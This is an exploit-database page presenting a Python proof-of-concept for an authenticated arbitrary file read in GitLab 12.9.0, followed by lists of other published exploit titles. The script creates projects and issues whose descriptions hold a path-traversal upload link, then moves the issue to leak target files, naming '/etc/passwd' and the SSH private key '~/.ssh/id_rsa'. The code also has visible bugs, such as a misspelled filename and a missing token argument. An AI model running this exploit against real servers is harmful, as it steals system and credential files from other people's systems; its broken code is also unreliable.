Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"Gitlab 12.9.0 - Arbitrary File Read (Authenticated)"

Author

Exploit author

"Jasper Rasenberg"

Platform

Exploit platform

ruby

Release date

Exploit published date

2020-11-19

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3



#You can create as many personal access tokens as you like from your GitLab profile.
#   Sign in to GitLab.
#    In the upper-right corner, click your avatar and select Settings.
#    On the User Settings menu, select Access Tokens.
#    Choose a name and optional expiry date for the token.
#    Choose the desired scopes.
#    Click the Create personal access token button.
#    Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.

# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html

#   pip3 install gitlab
#   pip3 install requests
#   Use a client cert to verify SSL or set to False

import os
import requests
import json
from time import sleep
from gitlab import *

session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False

host = ''

def exploit(projectName, issueTitle, files, token):

    gl = Gitlab(host, private_token=token, session=session)
    gl.auth()
    p1 = gl.projects.create({'name': f"{projectName}-1"})
    p2 = gl.projects.create({'name': f"{projectName}-2"})

    for i, f in enumerate(files):
        stripped_f = f.rstrip('\n')
        issue = p1.issues.create({ \
                'title': f"{issueTitle}-{i}",
                'description': \
                "![a](/uploads/11111111111111111111111111111111/"\
                f"../../../../../../../../../../../../../..{stripped_f})"})
        print(issue.description)
        sleep(3)
        try:
            issue.move(p2.id)
        except Exception as e:
            pass
        sleep(3)

if __name__ == "__main__":

     write_files = ['/etc/passwd', '~/.ssh/id_rsa']
     with open('senstive_files', 'w') as sens:
         for file in write_files:
             sens.write(file)

    files = list(open('sensitive_files', 'r'))
    exploit('project-1', 'issue-1', files)
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-11-19 "Gitlab 12.9.0 - Arbitrary File Read (Authenticated)" webapps ruby "Jasper Rasenberg"
2020-07-26 "Rails 5.0.1 - Remote Code Execution" webapps ruby "Lucas Amorim"
2020-05-06 "GitLab 12.9.0 - Arbitrary File Read" webapps ruby KouroshRZ
2018-10-15 "AlchemyCMS 4.1 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-10-12 "CAMALEON CMS 2.4 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-05-02 "Metasploit Framework - 'msfd' Remote Code Execution (via Browser) (Metasploit)" remote ruby Metasploit
2018-05-02 "Metasploit Framework - 'msfd' Remote Code Execution (Metasploit)" remote ruby Metasploit
2017-12-02 "Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection" local ruby "Etienne Stalmans"
2017-08-30 "Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery" webapps ruby "Dhiraj Mishra"
2017-03-15 "GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution" webapps ruby iblue
Release Date Title Type Platform Author
2020-11-19 "Gitlab 12.9.0 - Arbitrary File Read (Authenticated)" webapps ruby "Jasper Rasenberg"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49076/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.